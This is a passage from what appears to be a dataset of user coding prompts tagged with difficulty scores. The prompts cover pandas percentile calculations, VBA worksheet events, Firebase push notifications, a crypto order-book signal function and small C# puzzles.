if (sigtype[i]==1) {
sigtype[i] = 0;
}
if (sigtype[i] > 1) {
sigtype[i] = 1;
sigtime[i] = m;
}
}
myfile.close();
done = true;
for (int i = 0; i < signame.size(); i++) {
if (sigtype[i]!=0) {
done = false;
break;
}
}
}
ofstream outputter;
outputter.open("input_delays.txt", ios::trunc);
for (string word : inputs) {
outputter<<word<<" "<<sigtime[loc(signame,word)]<<endl;
}
outputter.close();
}
} change this code in python. | 47b693094b8aa7801a7b9518dc203aeb | {
"intermediate": 0.3010767698287964,
"beginner": 0.47371307015419006,
"expert": 0.22521013021469116
} |
18,041 | Im making a program for linux in go that needs to be auto updated, its just a binary that occasionally needs an update and i was wondering if i should make the auto updater a seperate file in shell or something as i dont want multiple binaries nor know how id do it in the same binary | 3c5d67026a68413a2a51c061951d3fe1 | {
"intermediate": 0.44035136699676514,
"beginner": 0.28229135274887085,
"expert": 0.2773573398590088
} |
18,042 | from openpyxl import load_workbook
import pandas as pd
import datetime
# 打开Excel文件
wb = load_workbook(filename=r'C:\Users\LIQI\Documents\民生基金\行业打分\钢铁数据跟踪汇总.xlsx', read_only=True, data_only=True)
# 选择指定的sheet
sheet = wb['产销数据'] # 这里的Sheet3是你要读取的sheet名称，可以根据实际情况修改
# 选择指定的列
columns = [0, 11, 12, 13, 14, 15]
# 读取数据
data = []
for row in sheet.iter_rows(values_only=True):
data.append([row[column] for column in columns])
# 构建DataFrame
headers = ['Column1','Column2', 'Column3', 'Column4', 'Column5', 'Column6'] # 这里是DataFrame的列名，可以根据实际情况修改
df = pd.DataFrame(data, columns=headers)
df = df[1:]
df.columns = df.iloc[0]
df = df[1:]
# 将第一列作为索引并转换为datetime格式
df.set_index(df.columns[0], inplace=True)
df.index = pd.to_datetime(df.index)
def calculate_percentile(df,date, column):
date = pd.to_datetime(date)
year = date.year
month = date.month
day = date.day
five_years_ago = datetime.datetime.now() - pd.DateOffset(years=5)
history_dates = df[(df.index.month == month) & (df.index.day == day) & (df.index.year <= year) & (df.index > five_years_ago)].index
history_values = df[df.index.isin(history_dates)][column]
target_value = df.loc[date, column]
mean_target_value = df.loc[date:date - pd.DateOffset(years=4), column].mean()
min_value = history_values.min()
max_value = history_values.max()
percentile= (target_value - min_value) / (max_value - min_value) * 100
return percentile,history_dates
percentile =calculate_percentile(df,'2023-08-19','螺纹钢')
print(percentile)
print(history_dates)
percentile =calculate_percentile(df,'2023-08-(0.0, DatetimeIndex(['2020-08-19', '2021-08-19', '2022-08-19', '2023-08-19'], dtype='datetime64[ns]', name=NaT, freq=None))
---------------------------------------------------------------------------
NameError Traceback (most recent call last)
~\AppData\Local\Temp/ipykernel_8864/724220345.py in <module>
44 percentile =calculate_percentile(df,'2023-08-19','螺纹钢')
45 print(percentile)
---> 46 print(history_dates)
NameError: name 'history_dates' is not defined | 627e45d09b5a13faa478511ea459aa34 | {
"intermediate": 0.3986034095287323,
"beginner": 0.4103924632072449,
"expert": 0.19100405275821686
} |
18,043 | from openpyxl import load_workbook
import pandas as pd
import datetime
# 打开Excel文件
wb = load_workbook(filename=r'C:\Users\LIQI\Documents\民生基金\行业打分\钢铁数据跟踪汇总.xlsx', read_only=True, data_only=True)
# 选择指定的sheet
sheet = wb['产销数据'] # 这里的Sheet3是你要读取的sheet名称，可以根据实际情况修改
# 选择指定的列
columns = [0, 11, 12, 13, 14, 15]
# 读取数据
data = []
for row in sheet.iter_rows(values_only=True):
data.append([row[column] for column in columns])
# 构建DataFrame
headers = ['Column1','Column2', 'Column3', 'Column4', 'Column5', 'Column6'] # 这里是DataFrame的列名，可以根据实际情况修改
df = pd.DataFrame(data, columns=headers)
df = df[1:]
df.columns = df.iloc[0]
df = df[1:]
# 将第一列作为索引并转换为datetime格式
df.set_index(df.columns[0], inplace=True)
df.index = pd.to_datetime(df.index)
def calculate_percentile(df,date, column):
date = pd.to_datetime(date)
year = date.year
month = date.month
day = date.day
five_years_ago = datetime.datetime.now() - pd.DateOffset(years=5)
history_dates = df[(df.index.month == month) & (df.index.day == day) & (df.index.year <= year) & (df.index > five_years_ago)].index
history_values = df[df.index.isin(history_dates)][column]
target_value = df.loc[date, column]
mean_target_value = df.loc[date:date - pd.DateOffset(years=4), column].mean()
min_value = history_values.min()
max_value = history_values.max()
percentile= (target_value - min_value) / (max_value - min_value) * 100
return percentile,history_values
percentile, history_values =calculate_percentile(df,'2023-08-19','螺纹钢')
print(percentile)
print(history_values) 我写了一段代码 但他好像跟我的要求不匹配 请帮我修改一下。我想让mean_target_value 代表date所在行，及df向上数1、2、3、4行的对应值的均值。 | 418e479317caea88c0a72ef6bf849c79 | {
"intermediate": 0.32341375946998596,
"beginner": 0.4307413399219513,
"expert": 0.24584487080574036
} |
18,044 | make gui window bigger in python | a9f55e1d71f9a35fec02197e61521fba | {
"intermediate": 0.36242932081222534,
"beginner": 0.2580845355987549,
"expert": 0.3794861435890198
} |
18,045 | I have this code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if sell_qty > buy_qty:
signal.append('sell')
elif buy_qty > sell_qty:
signal.append('buy')
else:
signal.append('')
return signal
Can you add in my strategy those params: If buy_qty is more than 10% than sell_qty signal.append('buy') elif sell_qty is more than 10% than buy_qty signal.append('sell') else: signal.append('') | 04282a904467d6527de4e81ca91cd99e | {
"intermediate": 0.3902249336242676,
"beginner": 0.19710585474967957,
"expert": 0.41266918182373047
} |
18,046 | Create dropdown menu using reactt | 1eaab4938c5e7beb0e659a3f2b6a0164 | {
"intermediate": 0.4128503203392029,
"beginner": 0.21975427865982056,
"expert": 0.36739540100097656
} |
18,047 | how to setup two smart card reader at the same time in python | b59c8d04716d541bc9307c0ca9720437 | {
"intermediate": 0.23389074206352234,
"beginner": 0.18787935376167297,
"expert": 0.5782299041748047
} |
18,048 | how c# check duplicate unity event Action listeners | ba0aa3dbbf70eb8dfaf273a78e5295c0 | {
"intermediate": 0.5365151166915894,
"beginner": 0.21523892879486084,
"expert": 0.24824590981006622
} |
18,049 | where is cookies.pkl file | 33320843a82d209aad203b352b2b8b0a | {
"intermediate": 0.3465932607650757,
"beginner": 0.37897172570228577,
"expert": 0.27443498373031616
} |
18,050 | from openpyxl import load_workbook
import pandas as pd
import datetime
# 打开Excel文件
wb = load_workbook(filename=r'C:\Users\LIQI\Documents\民生基金\行业打分\钢铁数据跟踪汇总.xlsx', read_only=True, data_only=True)
# 选择指定的sheet
sheet = wb['产销数据'] # 这里的Sheet3是你要读取的sheet名称，可以根据实际情况修改
# 选择指定的列
columns = [0, 11, 12, 13, 14, 15]
# 读取数据
data = []
for row in sheet.iter_rows(values_only=True):
data.append([row[column] for column in columns])
# 构建DataFrame
headers = ['Column1','Column2', 'Column3', 'Column4', 'Column5', 'Column6'] # 这里是DataFrame的列名，可以根据实际情况修改
df = pd.DataFrame(data, columns=headers)
df = df[1:]
df.columns = df.iloc[0]
df = df[1:]
# 将第一列作为索引并转换为datetime格式
df.set_index(df.columns[0], inplace=True)
df.index = pd.to_datetime(df.index)
def calculate_percentile(df, date, column):
date = pd.to_datetime(date)
target_dates = pd.date_range(end=date, periods=5)
target_values = df.loc[target_dates, column]
target_value_mean = target_values.mean()
five_years_ago = date - pd.DateOffset(years=5)
date_range = pd.date_range(start=five_years_ago, end=date, closed='left')
history_means = df[df.index.isin(date_range)][column].rolling(window=5).mean()
min_value = history_means.min()
max_value = history_means.max()
percentile = (target_value_mean - min_value) / (max_value - min_value) * 100
return percentile, history_means
percentile, history_values =calculate_percentile(df,'2023-08-19','螺纹钢')
print(percentile)
print(history_values) 这个代码不是很符合我的需求 我想请你帮我改一改 | f1757c6b45341b07028a7ac588393609 | {
"intermediate": 0.3187708258628845,
"beginner": 0.5555264949798584,
"expert": 0.1257026642560959
} |
18,051 | from openpyxl import load_workbook
import pandas as pd
import datetime
# 打开Excel文件
wb = load_workbook(filename=r'C:\Users\LIQI\Documents\民生基金\行业打分\钢铁数据跟踪汇总.xlsx', read_only=True, data_only=True)
# 选择指定的sheet
sheet = wb['产销数据'] # 这里的Sheet3是你要读取的sheet名称，可以根据实际情况修改
# 选择指定的列
columns = [0, 11, 12, 13, 14, 15]
# 读取数据
data = []
for row in sheet.iter_rows(values_only=True):
data.append([row[column] for column in columns])
# 构建DataFrame
headers = ['Column1','Column2', 'Column3', 'Column4', 'Column5', 'Column6'] # 这里是DataFrame的列名，可以根据实际情况修改
df = pd.DataFrame(data, columns=headers)
df = df[1:]
df.columns = df.iloc[0]
df = df[1:]
# 将第一列作为索引并转换为datetime格式
df.set_index(df.columns[0], inplace=True)
df.index = pd.to_datetime(df.index)
def calculate_percentile(df, date, column):
date = pd.to_datetime(date)
target_dates = pd.date_range(end=date, periods=5)
target_values = df.loc[target_dates, column]
target_value_mean = target_values.mean()
five_years_ago = date - pd.DateOffset(years=4)
date_range = pd.date_range(start=five_years_ago, end=date, closed='left')
history_values = df.loc[date_range, column]
# Calculate smoothed values
history_means = history_values.rolling(window=5).mean()
# Filter out the same month and day values
history_values = df[(df.index.month.isin(date_range.month)) & (df.index.day.isin(date_range.day))][column]
target_smoothed_value = target_value_mean
max_smoothed_value = history_means.max()
min_smoothed_value = history_means.min()
percentile = (target_smoothed_value - min_smoothed_value) / (max_smoothed_value - min_smoothed_value) * 100
return percentile, history_means
percentile, history_values =calculate_percentile(df,'2023-08-19','螺纹钢')
print(percentile)
print(history_values)
这是我的代码，但返回错误，请帮我修改
TypeError Traceback (most recent call last)
~\AppData\Local\Temp/ipykernel_1100/614213639.py in <module>
51 return percentile, history_means
52
---> 53 percentile, history_values =calculate_percentile(df,'2023-08-19','螺纹钢')
54 print(percentile)
55 print(history_values)
~\AppData\Local\Temp/ipykernel_1100/614213639.py in calculate_percentile(df, date, column)
35
36 five_years_ago = date - pd.DateOffset(years=4)
---> 37 date_range = pd.date_range(start=five_years_ago, end=date, closed='left')
38 history_values = df.loc[date_range, column]
39
~\anaconda3\lib\site-packages\pandas\core\indexes\datetimes.py in date_range(start, end, periods, freq, tz, normalize, name, inclusive, unit, **kwargs)
943 freq = "D"
944
--> 945 dtarr = DatetimeArray._generate_range(
946 start=start,
947 end=end,
TypeError: _generate_range() got an unexpected keyword argument 'closed' | 8be4e1042373a07d6cc187d87688a29a | {
"intermediate": 0.46812787652015686,
"beginner": 0.32560455799102783,
"expert": 0.2062675505876541
} |
18,052 | ForEach-Object -Parallel如何使用？ | 98f3ba119c47afae3d5e12a136df3e74 | {
"intermediate": 0.30281272530555725,
"beginner": 0.284791499376297,
"expert": 0.4123958349227905
} |
18,053 | from openpyxl import load_workbook
import pandas as pd
import datetime
# 打开Excel文件
wb = load_workbook(filename=r'C:\Users\LIQI\Documents\民生基金\行业打分\钢铁数据跟踪汇总.xlsx', read_only=True, data_only=True)
# 选择指定的sheet
sheet = wb['产销数据'] # 这里的Sheet3是你要读取的sheet名称，可以根据实际情况修改
# 选择指定的列
columns = [0, 11, 12, 13, 14, 15]
# 读取数据
data = []
for row in sheet.iter_rows(values_only=True):
data.append([row[column] for column in columns])
# 构建DataFrame
headers = ['Column1','Column2', 'Column3', 'Column4', 'Column5', 'Column6'] # 这里是DataFrame的列名，可以根据实际情况修改
df = pd.DataFrame(data, columns=headers)
df = df[1:]
df.columns = df.iloc[0]
df = df[1:]
# 将第一列作为索引并转换为datetime格式
df.set_index(df.columns[0], inplace=True)
df.index = pd.to_datetime(df.index)
def calculate_percentile(df, date, column):
date = pd.to_datetime(date)
target_dates = pd.date_range(end=date, periods=5)
target_values = df.loc[target_dates, column]
target_value_mean = target_values.mean()
five_years_ago = date - pd.DateOffset(years=4)
date_range = pd.date_range(start=five_years_ago, end=date)
date_range = pd.to_datetime(pd.concat([pd.Series([five_years_ago]), date_range, pd.Series([date])]))
history_values = df.loc[date_range, column]
# Calculate smoothed values
history_means = history_values.rolling(window=5).mean()
# Filter out the same month and day values
history_values = df[(df.index.month.isin(date_range.month)) & (df.index.day.isin(date_range.day))][column]
target_smoothed_value = target_value_mean
max_smoothed_value = history_means.max()
min_smoothed_value = history_means.min()
percentile = (target_smoothed_value - min_smoothed_value) / (max_smoothed_value - min_smoothed_value) * 100
return percentile, history_means
percentile, history_values =calculate_percentile(df,'2023-08-19','螺纹钢')
print(percentile)
print(history_values)
我的代码返回了这个错误信息，请你看下问题在哪儿
---------------------------------------------------------------------------
TypeError Traceback (most recent call last)
~\AppData\Local\Temp/ipykernel_1100/1808308807.py in <module>
52 return percentile, history_means
53
---> 54 percentile, history_values =calculate_percentile(df,'2023-08-19','螺纹钢')
55 print(percentile)
56 print(history_values)
~\AppData\Local\Temp/ipykernel_1100/1808308807.py in calculate_percentile(df, date, column)
36 five_years_ago = date - pd.DateOffset(years=4)
37 date_range = pd.date_range(start=five_years_ago, end=date)
---> 38 date_range = pd.to_datetime(pd.concat([pd.Series([five_years_ago]), date_range, pd.Series([date])]))
39 history_values = df.loc[date_range, column]
40
~\anaconda3\lib\site-packages\pandas\core\reshape\concat.py in concat(objs, axis, join, ignore_index, keys, levels, names, verify_integrity, sort, copy)
370 copy = False
371
--> 372 op = _Concatenator(
373 objs,
374 axis=axis,
~\anaconda3\lib\site-packages\pandas\core\reshape\concat.py in __init__(self, objs, axis, join, keys, levels, names, ignore_index, verify_integrity, copy, sort)
460 "only Series and DataFrame objs are valid"
461 )
--> 462 raise TypeError(msg)
463
464 ndims.add(obj.ndim)
TypeError: cannot concatenate object of type '<class 'pandas.core.indexes.datetimes.DatetimeIndex'>'; only Series and DataFrame objs are valid | 2666b27d1defb90e2332c2201f2031ff | {
"intermediate": 0.4194113612174988,
"beginner": 0.3160271942615509,
"expert": 0.2645614743232727
} |
18,054 | I used your code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
if buy_qty > sell_qty and (1 + threshold):
signal.append('buy')
elif sell_qty > buy_qty and (1 + threshold):
signal.append('sell')
else:
signal.append('')
return signal
But it giving me only buy signal, how you cant understand that I need coed whcih will give me signals to buy and sell or empty | 183018f0a639d542b2a14ec1e41e3b2d | {
"intermediate": 0.469550758600235,
"beginner": 0.28180965781211853,
"expert": 0.24863958358764648
} |
18,055 | I have a class A and class B. A has List<B> Items in it and I want use Items.AddRange() input of AddRange is a list of string that can use to new B. how to do it in dotnet | f33f26726140de3f867aed302e95f199 | {
"intermediate": 0.45464006066322327,
"beginner": 0.3179045021533966,
"expert": 0.22745545208454132
} |
18,056 | const publish = () => {
if (!isSubscribed) return;
if (!cameras[pair]) {
cameras[pair] = 0;
}
const zoomedTickSize = priceStep * aggregation;
const startMicroPrice = cameras[pair] + rowsCount / 2 * zoomedTickSize - zoomedTickSize;
const centerCupPosition = parseInt((Math.ceil(bestAskPrice / zoomedTickSize) * zoomedTickSize).toFixed(0));
const rows: {[key: number]: CupItem} = {};
const timeModifier = parseInt((publisherTimeoutInMs / 40).toFixed(0));
const diffModifier = Math.max(
2,
parseInt(((centerCupPosition - cameras[pair] / zoomedTickSize) / rowsCount).toFixed(0))
);
if (centerCupPosition !== cameras[pair] && cameras[pair] !== 0 && !cameraIsBlocked) {
cameras[pair] = cameras[pair] > centerCupPosition
? Math.max(centerCupPosition, cameras[pair] - zoomedTickSize * timeModifier * diffModifier)
: Math.min(centerCupPosition, cameras[pair] + zoomedTickSize * timeModifier * diffModifier);
}
for (let index = 0; index <= rowsCount; index++) {
const microPrice = startMicroPrice - index * zoomedTickSize;
if (microPrice < 0) continue;
rows[microPrice] = cup[microPrice] || {};
maxVolume = Math.max(maxVolume, rows[microPrice]?.bid || 0, rows[microPrice]?.ask || 0);
}
port?.postMessage({type: “set_camera”, value: cameras[pair]});
postMessage({
type: “update_cup”,
cup: rows,
camera: cameras[pair],
aggregation,
bestBidPrice,
bestAskPrice,
pricePrecision,
priceStep,
quantityPrecision,
rowsCount,
maxVolume: volumeIsFixed
? fixedMaxVolume
: maxVolume / Math.pow(10, quantityPrecision),
});
};
const publisherStart = () => {
if (publisherIntervalId) {
clearInterval(publisherIntervalId);
}
publisherIntervalId = setInterval(publish, publisherTimeoutInMs);
};
const publisherStop = () => {
if (publisherIntervalId) {
clearInterval(publisherIntervalId);
}
};
есть функция publish. Она подготавливает и отправляет данные в сам стакан. Там есть расчет maxVolume. Цена и кол-во из CupItem. максимальный объем определять путем перемножения цены на кол-во. Напиши код, что нужно изменить или что добавить | 9928bdb9d2dbe72ea4c1ea8e5cdc37a4 | {
"intermediate": 0.33061662316322327,
"beginner": 0.5115088820457458,
"expert": 0.1578744798898697
} |
18,057 | Can you please check if the code I have written has any error and if it can still be optimised: Private Sub Worksheet_Change(ByVal Target As Range)
Dim rngI As Range
Dim rngG As Range
Dim cell As Range
Dim innercell As Range
If Target.CountLarge > 1 Then Exit Sub
If Not Intersect(Target, Range("I6:I505")) Is Nothing Then
If IsDate(Target.Value) Then
If Target.Offset(0, -7).Value = "Service" Then
MsgBox "Thank you for entering Service Date Completed. Please proceed to enter Service Schedule as number of days.", vbInformation, "DATE"
ActiveSheet.Range("G" & Target.Row).Select
'Exit Sub
End If
End If
End If
If Target.CountLarge > 1 Then Exit Sub
If Not Intersect(Target, Range("G6:G505")) Is Nothing Then
If Not doubleClickFlag Then ' DoublClickFlag previously set to True to prevent Change Reaction
If Target.Value <> "" And Target.Offset(0, 2).Value = "" Then
MsgBox "Date Completed not present", vbCritical, "DATE"
Application.EnableEvents = False
Target.Value = ""
Application.EnableEvents = True
End If
End If
Else
MsgBox "Please change the Issue description ( column B ) as required.", vbInformation, "ISSUE"
ActiveSheet.Range("B" & Target.Row).Select
Else
If Target.Value <> "" And Target.Offset(0, -5).Value <> "Service" Then
MsgBox "Task is not a current Service", vbCritical, "TASK TYPE"
Application.EnableEvents = False
Target.Value = ""
Application.EnableEvents = True
End If
End If
Else
If Target.Value <> "" And Target.Offset(0, -5).Value = "Service" And Target.Offset(0, 2).Value <> "" Then
MsgBox "A New Service row will now be created", vbInformation, "NEW SERVICE"
Target.Offset(0, -5).Value = "Serviced"
Target.Offset(0, 1).Value = ""
Dim newRow As Long
newRow = Cells(Rows.Count, "B").End(xlUp).Row + 1
ActiveSheet.Range("B" & newRow).Value = "Service"
ActiveSheet.Range("C" & newRow).Value = Target.Offset(0, 2).Value
ActiveSheet.Range("F" & newRow).Value = Target.Offset(0, -1).Value
ActiveSheet.Range("J" & newRow).Value = Target.Offset(0, 3).Value
ActiveSheet.Range("L" & newRow).Value = Target.Offset(0, 5).Value
ActiveSheet.Range("H" & newRow).Value = Target.Offset(0, 2).Value + Target.Value
End If
End If
If Target.Column = 5 Then
ColumnList Target
End If
doubleClickFlag = False
End Sub | 83d8ae3f2f55371448fe59eb4c64e5ac | {
"intermediate": 0.32538095116615295,
"beginner": 0.4190847873687744,
"expert": 0.25553426146507263
} |
18,058 | I used your code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
spread_percent = ((sell_price - buy_price) / buy_price) * 100
if buy_qty > sell_qty and spread_percent >= 10:
signal.append('buy')
elif sell_qty > buy_qty and spread_percent <= -10:
signal.append('sell')
else:
signal.append('')
return signal
But it doesn't give me any signals | 13c3498742af4a0e06efcbaeaaa70da5 | {
"intermediate": 0.45693156123161316,
"beginner": 0.3412295877933502,
"expert": 0.20183880627155304
} |
18,059 | from openpyxl import load_workbook
import pandas as pd
import datetime
# 打开Excel文件
wb = load_workbook(filename=r'C:\Users\LIQI\Documents\民生基金\行业打分\钢铁数据跟踪汇总.xlsx', read_only=True, data_only=True)
# 选择指定的sheet
sheet = wb['产销数据'] # 这里的Sheet3是你要读取的sheet名称，可以根据实际情况修改
# 选择指定的列
columns = [0, 11, 12, 13, 14, 15]
# 读取数据
data = []
for row in sheet.iter_rows(values_only=True):
data.append([row[column] for column in columns])
# 构建DataFrame
headers = ['Column1','Column2', 'Column3', 'Column4', 'Column5', 'Column6'] # 这里是DataFrame的列名，可以根据实际情况修改
df = pd.DataFrame(data, columns=headers)
df = df[1:]
df.columns = df.iloc[0]
df = df[1:]
# 将第一列作为索引并转换为datetime格式
df.set_index(df.columns[0], inplace=True)
df.index = pd.to_datetime(df.index)
def calculate_percentile(df, date, column):
date = pd.to_datetime(date)
target_dates = pd.date_range(end=date, periods=5)
target_values = df.loc[target_dates, column]
target_value_mean = target_values.mean()
five_years_ago = date - pd.DateOffset(years=3)
date_range = pd.date_range(start=five_years_ago, end=date)
history_values = df.loc[date_range, column]
# Calculate smoothed values
history_means = history_values.rolling(window=5).mean()
# Filter out the same month and day values
history_values = df[(df.index.month.isin(date_range.month)) & (df.index.day.isin(date_range.day))][column]
target_smoothed_value = target_value_mean
max_smoothed_value = history_means.max()
min_smoothed_value = history_means.min()
percentile = (target_smoothed_value - min_smoothed_value) / (max_smoothed_value - min_smoothed_value) * 100
return percentile
# 创建一个空的列表，用于存储每一天的percentile值
percentiles = []
# 设置起始日期
start_date = pd.to_datetime('2023-01-01')
# 循环遍历DataFrame的每一行
for index, row in df.iterrows():
# 检查是否满足起始日期的条件，如果不满足，则跳过计算
if index < start_date:
percentiles.append(None)
continue
# 获取当前行的日期和列名
date = index
column = '螺纹钢' # 要计算percentile的列名，请根据实际情况修改
# 调用calculate_percentile函数计算percentile值
percentile = calculate_percentile(df, date, column)
# 将percentile值添加到列表中
percentiles.append(percentile)
# 将percentiles列表添加为新的一列到DataFrame中
df['Percentile'] = percentiles
现在我要在df增加一列df['Percentile YOY']，对每一个date，'Percentile YOY'就是这个date上的Percentile列结果减去上年同期的Percentile列结果。这个代码怎么写。 | 71d2c335776a5d430f6f7253be31f3b5 | {
"intermediate": 0.37348058819770813,
"beginner": 0.35557878017425537,
"expert": 0.2709405720233917
} |
18,060 | import os
import json
import requests
import openpyxl
from concurrent.futures import ThreadPoolExecutor
import traceback
# Function to send push notifications
def send_push_notification(group, payload):
# Create an xlsx file to store the results
wb = openpyxl.Workbook()
sheet = wb.active
sheet['A1'] = 'Token'
sheet['B1'] = 'Success'
try:
# Update the payload with the current token group
payload['registration_ids'] = group
# Send the request and get the response
response = requests.post(
'https://fcm.googleapis.com/fcm/send',
headers={'Authorization': 'key=A', 'Content-Type': 'application/json'},
data=json.dumps(payload)
)
result = response.json()
# Write the result to the xlsx file
for i, token in enumerate(group):
success = result['results'][i].get('success', 0)
sheet.cell(row=i+2, column=1).value = token
sheet.cell(row=i+2, column=2).value = success
except Exception as e:
print(f"Error in thread: {traceback.format_exc()}")
finally:
# Save the xlsx file
wb.save('result.xlsx')
# Function to read tokens from a file
def read_tokens_from_file(file_path):
with open(file_path, 'r') as f:
tokens = f.read().split(',')
return tokens
def send_notifications_concurrently(tokens, payload):
# Split tokens into groups of 500
token_groups = [tokens[i:i+500] for i in range(0, len(tokens), 500)]
# Create a pool of workers
with ThreadPoolExecutor(max_workers=4) as executor:
executor.map(send_push_notification, token_groups, [payload]*len(token_groups))
# Process Android tokens
android_files = [f for f in os.listdir('.') if f.startswith('android') and f.endswith('.txt')]
for file in android_files:
tokens = read_tokens_from_file(file)
payload = {
"notification": {
"title": "ثانیههای یک میلیونی در جشنواره پلانو",
"body": "تماشای رایگان «توطئه آمیز» با جایزه",
"image": "https://pelano.net/uploads/push/CinemaFestival/01.jpg",
"icon": "https://pelano.net/uploads/Pelano_Push_Logo.png",
"sound": "default",
},
"data": {
"url": "https://pelano.net/Campaign?PF=CB",
"image": "https://pelano.net/uploads/push/CinemaFestival/01.jpg"
},
"priority": "high",
"content_available": True,
"mutable_content": True,
}
send_notifications_concurrently(tokens, payload)
# Process web tokens
web_files = [f for f in os.listdir('.') if f.startswith('web') and f.endswith('.txt')]
for file in web_files:
tokens = read_tokens_from_file(file)
payload = {
"notification": {
"title": "ثانیههای یک میلیونی در جشنواره پلانو",
"body": "تماشای رایگان «توطئه آمیز» با جایزه",
"image": "https://pelano.net/uploads/push/CinemaFestival/02.jpg",
"icon": "https://pelano.net/uploads/Pelano_Push_Logo.png",
"sound": "default",
"click_action": "https://pelano.net/Campaign",
},
"priority": "high",
"content_available": True,
"mutable_content": True,
}
send_notifications_concurrently(tokens, payload)
in the top code i want to print response please give me the full edited code | 3ba855b69a867915aca82410b34c1637 | {
"intermediate": 0.45483699440956116,
"beginner": 0.3547854721546173,
"expert": 0.19037751853466034
} |
18,061 | How can I write a VBA to make sure that when in column I, when I press enter on my keyboard, the selection does not move down to the next cell but to the next cell right | 1ee415225f000f97fe09c637692c53e5 | {
"intermediate": 0.2846216559410095,
"beginner": 0.08986559510231018,
"expert": 0.6255127191543579
} |
18,062 | write a code in python for the below request:
"take the data.xlsx in drive D. It is a matrix that contains data in 47 columns and 11 rows. the first row is the header that includes the name of columns. Estimate the values for 12th row using a machine learning model. Save the new file with estimated cells in drive D | 79e99db4ddca9fc71710c737fa93519b | {
"intermediate": 0.29743072390556335,
"beginner": 0.1085435152053833,
"expert": 0.5940257906913757
} |
18,063 | i want the code code below only read the secoond line and only value of success in each file :
import pandas as pd
import glob
# Define the path where the Excel files are located
path = r'/root/SendPush/*.xlsx'
# Create an empty list to store the sum of "Success" column in each file
success_sum_list = []
# Loop through each Excel file in the directory
for file in glob.glob(path):
# Read the Excel file into a Pandas DataFrame
df = pd.read_excel(file)
# Sum the values in the "Success" column
success_sum = df['Success'].sum()
# Append the sum to the list
success_sum_list.append(success_sum)
# Print the sum of "Success" column in each file
for i, sum in enumerate(success_sum_list):
print(f'Sum of "Success" column in file {i+1}: {sum}')
sum = 0
for item in success_sum_list:
sum += item
print(f'Sum of Success : {sum} ') | 2247f3499b519f1b97ef49fa6dad4a75 | {
"intermediate": 0.4358587861061096,
"beginner": 0.2626824975013733,
"expert": 0.3014586567878723
} |
18,064 | hello | fa48447364869362ff317c171f045143 | {
"intermediate": 0.32064199447631836,
"beginner": 0.28176039457321167,
"expert": 0.39759764075279236
} |
18,065 | How to remove duplicates in excel | 4e2801ae63ce6e3c8ff64723c0894754 | {
"intermediate": 0.3129950165748596,
"beginner": 0.32547497749328613,
"expert": 0.36152997612953186
} |
18,066 | You will see the string S, which is a mathematical expression with mixed alphabets.
Find the formula and output the answer.
Alphabetic characters may also be mixed in between numbers.
Example:
In the case of 12+56,
It may look like abc1Def2ghIjK+L5mOPQ6rS.
So the answer is 38.
In the case of 2**5,
It may look like dahoui2fne*fneofewnoi*5huz.
So the answer is 32.(The decimal point in the final answer is truncated.)
In the case of 3/2,
It may look like uehuw3fjeoi/nohGIY2fehudIYGdwj.
So the answe is 1.(not 1.5.)
Input
Line :1 A String S for the mathematical expression with mixed alphabets.
Output
Line 1: Formula answer
Constraints
5 <= S.length <= 100
S consists of the upper and lower case letters of the alphabet, as well as the numbers 0 through 9, and one of the following operators: '+', '-', '*', '/', '%', and '**'.
The result of division allows for a decimal point, but the decimal point in the final calculation result is truncated.
Example
Input
A1B+C1
Output
2 ..... Please solve with C# code. | 955c579500366fda1eb1e5c05ee9740b | {
"intermediate": 0.3886665999889374,
"beginner": 0.2975831925868988,
"expert": 0.31375014781951904
} |
18,067 | Today is Pi Day (March 14th), so let's celebrate it by approximating pi's value using the simplest maths operations !
Although it has a slow converging rate, one of the oldest way to do such approximation is the Madhava–Leibniz series:
pi/4 = 1 - 1/3 + 1/5 - 1/7 + 1/9 - 1/11 + ...
Given an integer n, compute an approximation value of pi using the first n terms of the Madhava-Leibniz series. The computed pi value should be rounded to 5 decimal places.
Example:
n = 1 ==> pi/4 = 1 ==> The expected output is 4.00000
n = 3 ==> pi/4 = 1 - 1/3 + 1/5 ==> The expected output is 3.46667
Input
Line 1: Integer n
Output
The approximated value of pi, rounded to 5 decimal places.
Constraints
0 < n < 10^7
Example
Input
1
Output
4.00000 ...Please solve with C# code | 4d7551999632a9a4cdb7fcddf976089e | {
"intermediate": 0.3809644281864166,
"beginner": 0.3171367645263672,
"expert": 0.3018988072872162
} |
18,068 | I used your code: def signal_generator(df):
if df is None or len(df) < 2:
return ''
signal = []
# Retrieve depth data
threshold = 0.1
depth_data = client.depth(symbol=symbol)
bid_depth = depth_data['bids']
ask_depth = depth_data['asks']
buy_price = float(bid_depth[0][0]) if bid_depth else 0.0
sell_price = float(ask_depth[0][0]) if ask_depth else 0.0
mark_price_data = client.ticker_price(symbol=symbol)
mark_price = float(mark_price_data['price']) if 'price' in mark_price_data else 0.0
buy_qty = sum(float(bid[1]) for bid in bid_depth)
sell_qty = sum(float(ask[1]) for ask in ask_depth)
